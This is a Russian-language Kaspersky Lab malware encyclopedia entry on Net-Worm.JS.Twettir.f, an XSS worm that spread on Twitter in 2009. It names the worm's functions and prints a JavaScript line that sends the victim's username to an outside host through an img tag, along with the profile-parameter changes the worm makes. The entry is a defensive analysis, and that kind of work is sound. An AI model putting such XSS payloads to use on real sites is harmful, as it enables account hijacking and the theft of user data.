RSS-каналы
Уровень опасности: 1
Net-Worm.JS.Twettir.f
| Время детектирования | 14 апр 2009 05:57 MSK |
| Время выпуска обновления | 14 апр 2009 10:01 MSK |
| Описание опубликовано | 22 апр 2009 11:36 MSK |
Технические детали
Семейство XSS-червей, распространявшихся в социальной сети Twitter в апреле 2009 года. Для своего размножения использовали XSS-уязвимости и были созданы 17-и летним американцем Michael "Mikeyy" Mooney.
Червь использовал уязвимости в программном обеспечении Twitter, позволявшие производить атаки типа «межсайтовый скриптинг» (XSS) и модифицировать страницы учётных записей пользователей. Заражение происходило при посещении модифицированной страницы на сайте Twitter, или при переходе по гиперссылке в поддельном сообщении, присланном от имени участника Twitter. При этом исполнялся вредоносный сценарий JavaScript.
Основной функционал червей содержится в трех функциях:
- XHConn – использует стандартную функцию XMLHttpRequest() для ajax-вызовов;
- Urlencode – использует стандартную функцию encodeURIComponent() для кодировки URI;
- Wait – содержит вредоносный функционал.
Оставлено одно рассылаемое сообщение:
Инициируется выполнение скрипта x.php в теге img, которому передается параметр username текущего пользователя:
document.write("<img src='http://www.stalkdaily.com/x.php?username=" + username + "'>");
Заражение страницы пользователя происходит аналогично Net-Worm.JS.Twettir.e , т.е. посредством изменения его параметра user[name] и добавления все той же ссылки:
Также червь изменяет параметры пользователя на следующие:
user[profile_background_color]="+urlencode('##Mikeyy')+"
в результате чего у зараженного пользователя меняется имя аккаунта и фон его страницы.
Вредоносная программа, обладающая способностью к несанкционированному пользователем саморазмножению в компьютерных сетях.
Отличительной особенностью данного типа червей является отсутствие необходимости в пользователе как в звене в цепочке распространения (т.е., непосредственно для активации вредоносной программы).
Зачастую при распространении такой червь ищет в сети компьютеры, на которых используется программное обеспечение, содержащее критические уязвимости. Для заражения уязвимых компьютеров червь посылает специально сформированный сетевой пакет (эксплойт), в результате чего код (или часть кода) червя проникает на компьютер-жертву и активируется. Если сетевой пакет содержит только часть кода червя, то после проникновения в уязвимый компьютер он скачивает основной файл червя и запускает его на исполнение.
Можно встретить сетевых червей данного типа, использующих сразу несколько эксплойтов для своего распространения, что увеличивает скорость нахождения ими компьютера-жертвы.
© ЗАО «Лаборатория Касперского», 1997-2010
Ведущий производитель систем защиты от вирусов, спама и хакерских атак
Зарегистрированные товарные знаки и знаки обслуживания являются собственностью их правообладателей